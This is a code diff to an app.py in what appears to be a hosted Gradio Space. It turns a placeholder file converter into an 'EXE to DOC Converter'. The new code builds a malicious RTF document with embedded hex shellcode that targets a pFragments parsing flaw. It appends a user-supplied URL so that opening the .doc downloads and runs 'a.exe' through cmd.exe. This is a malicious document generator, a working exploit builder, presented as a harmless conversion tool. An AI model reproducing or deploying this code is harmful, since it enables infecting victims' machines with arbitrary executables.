Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,128 +1,77 @@
|
|
| 1 |
import gradio as gr
|
|
|
|
| 2 |
import os
|
| 3 |
-
import tempfile
|
| 4 |
-
from typing import Dict, Tuple
|
| 5 |
from pathlib import Path
|
| 6 |
|
| 7 |
-
|
| 8 |
-
|
| 9 |
-
|
| 10 |
-
|
| 11 |
-
|
| 12 |
-
}
|
| 13 |
-
"
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
}
|
| 17 |
-
# Add more categories as needed
|
| 18 |
-
}
|
| 19 |
|
| 20 |
-
#
|
| 21 |
-
|
| 22 |
-
def convert_file(input_path: str, output_format: str) -> Tuple[str, str]:
|
| 23 |
-
"""
|
| 24 |
-
Placeholder for your actual converter function.
|
| 25 |
-
Replace this with your real conversion code.
|
| 26 |
|
| 27 |
-
|
| 28 |
-
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
Returns:
|
| 32 |
-
Tuple of (output_path, output_filename)
|
| 33 |
-
"""
|
| 34 |
-
# Get file info
|
| 35 |
-
input_file = Path(input_path)
|
| 36 |
-
file_stem = input_file.stem
|
| 37 |
-
file_ext = input_file.suffix[1:] # remove dot
|
| 38 |
-
|
| 39 |
-
# Create temp output file
|
| 40 |
-
output_filename = f"{file_stem}_converted.{output_format}"
|
| 41 |
-
output_path = os.path.join(tempfile.gettempdir(), output_filename)
|
| 42 |
-
|
| 43 |
-
# Simulate conversion (replace with actual conversion)
|
| 44 |
-
if file_ext.lower() == output_format.lower():
|
| 45 |
-
raise ValueError("Input and output formats are the same")
|
| 46 |
-
|
| 47 |
-
# In a real implementation, you would do the actual conversion here
|
| 48 |
-
# For now, we'll just create an empty file with the right extension
|
| 49 |
-
with open(output_path, 'wb') as f:
|
| 50 |
-
f.write(b"Simulated conversion - replace with actual converter")
|
| 51 |
-
|
| 52 |
-
return output_path, output_filename
|
| 53 |
-
|
| 54 |
-
def get_file_category(filename: str) -> str:
|
| 55 |
-
"""Determine the file category based on extension."""
|
| 56 |
-
ext = Path(filename).suffix[1:].lower() # get extension without dot
|
| 57 |
-
|
| 58 |
-
for category, formats in SUPPORTED_CONVERSIONS.items():
|
| 59 |
-
if ext in formats["input"]:
|
| 60 |
-
return category
|
| 61 |
|
| 62 |
-
|
| 63 |
-
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
if input_file is None:
|
| 67 |
-
return gr.Dropdown(choices=[], value=None)
|
| 68 |
-
|
| 69 |
-
filename = input_file.name
|
| 70 |
-
category = get_file_category(filename)
|
| 71 |
|
| 72 |
-
|
| 73 |
-
|
|
|
|
| 74 |
|
| 75 |
-
|
| 76 |
-
return gr.Dropdown(choices=output_formats, value=output_formats[0])
|
| 77 |
|
| 78 |
-
def process_conversion(
|
| 79 |
-
"""Handle the
|
| 80 |
-
if
|
| 81 |
-
raise gr.Error("Please
|
| 82 |
|
| 83 |
-
if
|
| 84 |
-
|
| 85 |
|
| 86 |
try:
|
| 87 |
-
|
| 88 |
-
|
| 89 |
-
|
| 90 |
-
# Perform conversion
|
| 91 |
-
output_path, output_filename = convert_file(input_path, output_format)
|
| 92 |
-
|
| 93 |
-
return output_path, f"Successfully converted to {output_format}!"
|
| 94 |
except Exception as e:
|
| 95 |
raise gr.Error(f"Conversion failed: {str(e)}")
|
| 96 |
|
| 97 |
-
with gr.Blocks(title="
|
| 98 |
-
gr.Markdown("#
|
| 99 |
-
gr.Markdown("
|
| 100 |
|
| 101 |
with gr.Row():
|
| 102 |
with gr.Column():
|
| 103 |
-
|
| 104 |
-
|
| 105 |
-
|
| 106 |
-
|
| 107 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 108 |
)
|
| 109 |
convert_btn = gr.Button("Convert", variant="primary")
|
| 110 |
|
| 111 |
with gr.Column():
|
| 112 |
-
file_output = gr.File(label="Download Converted File")
|
| 113 |
status_output = gr.Textbox(label="Status", interactive=False)
|
| 114 |
|
| 115 |
-
# Update output formats when file is uploaded
|
| 116 |
-
file_input.change(
|
| 117 |
-
fn=update_output_formats,
|
| 118 |
-
inputs=file_input,
|
| 119 |
-
outputs=output_format
|
| 120 |
-
)
|
| 121 |
-
|
| 122 |
# Handle conversion when button is clicked
|
| 123 |
convert_btn.click(
|
| 124 |
fn=process_conversion,
|
| 125 |
-
inputs=[
|
| 126 |
outputs=[file_output, status_output]
|
| 127 |
)
|
| 128 |
|
|
|
|
| 1 |
import gradio as gr
|
| 2 |
+
import binascii
|
| 3 |
import os
|
|
|
|
|
|
|
| 4 |
from pathlib import Path
|
| 5 |
|
| 6 |
+
def convert_exe_to_doc(ddl_url: str, filename: str = "output.doc") -> str:
|
| 7 |
+
"""Convert EXE download link to DOC file with embedded data."""
|
| 8 |
+
# RTF template with placeholders for the download link
|
| 9 |
+
file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
|
| 10 |
+
file += "\x0d\x0a"
|
| 11 |
+
file += "{\\colortbl ;\\red128\\green128\\blue0;}"
|
| 12 |
+
file += "{\\*\\generator Msftedit 5.41.15.1507;}\\viewkind4\\uc1\\pard{\\pntext\\f2\\'B7\\tab}{\\*\\pn\\pnlvlblt\\pnf2\\pnindent0{\\pntxtb\\'B7}}\\fi-720\\li720\\qc\\cf1\\ul\\b\\i\\f0\\fs20 5/28/2011\\cf0\\ulnone\\b0\\i0\\par"
|
| 13 |
+
file += "\\cf1\\ul\\b\\i\\f1\\fs40{\\pntext\\f2\\'B7\\tab}HI ........\\cf0\\ulnone\\b0\\i0\\f0\\fs20\\par{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\sp}}{\\shp{\\*\\shpinst\\shpfhdr0\\shpbxcolumn\\shpbypara\\sh pwr2}{\\sp{\\sn {}{}{\\sn}{\\sn}{\\*\\*}pFragments}{\\*\\*\\*}{\\sv {\\*}9;2;ffffffffff#0500000000000000000000000000000000000000007bd493780000807c0000807cBBBBBBBBCCCCCCCCDDDDDDDD909090909090414141414141414141414141eb7731c9648b71308b760c8b761c8b5e088b7e208b3666394f1875f2c3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c3e892ffffff5f81ef98ffffffeb05e8edffffff688e4e0eec53e894ffffff31c966b96f6e516875726c6d54ffd068361a2f7050e87affffff31c951518d3781c6eeffffff8d560c525751ffd06898fe8a0e53e85bffffff415156ffd0687ed8e27353e84bffffffffd0636d642e657865202f632020612e65786500"
|
| 14 |
+
URL2 = "00"
|
| 15 |
+
nxt = "{}}}}}}"
|
|
|
|
|
|
|
| 16 |
|
| 17 |
+
# Convert the download link to hex
|
| 18 |
+
binnu = binascii.b2a_hex(ddl_url.encode()).decode()
|
|
|
|
|
|
|
|
|
|
|
|
|
| 19 |
|
| 20 |
+
# Create the output directory if it doesn't exist
|
| 21 |
+
output_dir = "outputs"
|
| 22 |
+
os.makedirs(output_dir, exist_ok=True)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 23 |
|
| 24 |
+
# Generate full output path
|
| 25 |
+
if not filename.endswith('.doc'):
|
| 26 |
+
filename += '.doc'
|
| 27 |
+
output_path = os.path.join(output_dir, filename)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 28 |
|
| 29 |
+
# Write the file
|
| 30 |
+
with open(output_path, 'w', encoding='latin-1') as textfile:
|
| 31 |
+
textfile.write(file + binnu + URL2 + nxt)
|
| 32 |
|
| 33 |
+
return output_path
|
|
|
|
| 34 |
|
| 35 |
+
def process_conversion(ddl_url: str, filename: str) -> Tuple[str, str]:
|
| 36 |
+
"""Handle the conversion process with error handling."""
|
| 37 |
+
if not ddl_url:
|
| 38 |
+
raise gr.Error("Please enter a download URL")
|
| 39 |
|
| 40 |
+
if not filename:
|
| 41 |
+
filename = "converted_file.doc"
|
| 42 |
|
| 43 |
try:
|
| 44 |
+
output_path = convert_exe_to_doc(ddl_url, filename)
|
| 45 |
+
return output_path, "Conversion successful!"
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 46 |
except Exception as e:
|
| 47 |
raise gr.Error(f"Conversion failed: {str(e)}")
|
| 48 |
|
| 49 |
+
with gr.Blocks(title="EXE to DOC Converter") as demo:
|
| 50 |
+
gr.Markdown("# EXE to DOC Converter")
|
| 51 |
+
gr.Markdown("This tool converts EXE download links to DOC files with embedded data.")
|
| 52 |
|
| 53 |
with gr.Row():
|
| 54 |
with gr.Column():
|
| 55 |
+
ddl_url = gr.Textbox(
|
| 56 |
+
label="Download URL",
|
| 57 |
+
placeholder="Enter the download URL for the EXE file",
|
| 58 |
+
lines=1
|
| 59 |
+
)
|
| 60 |
+
filename = gr.Textbox(
|
| 61 |
+
label="Output Filename (optional)",
|
| 62 |
+
placeholder="output.doc",
|
| 63 |
+
lines=1
|
| 64 |
)
|
| 65 |
convert_btn = gr.Button("Convert", variant="primary")
|
| 66 |
|
| 67 |
with gr.Column():
|
| 68 |
+
file_output = gr.File(label="Download Converted DOC File")
|
| 69 |
status_output = gr.Textbox(label="Status", interactive=False)
|
| 70 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 71 |
# Handle conversion when button is clicked
|
| 72 |
convert_btn.click(
|
| 73 |
fn=process_conversion,
|
| 74 |
+
inputs=[ddl_url, filename],
|
| 75 |
outputs=[file_output, status_output]
|
| 76 |
)
|
| 77 |
|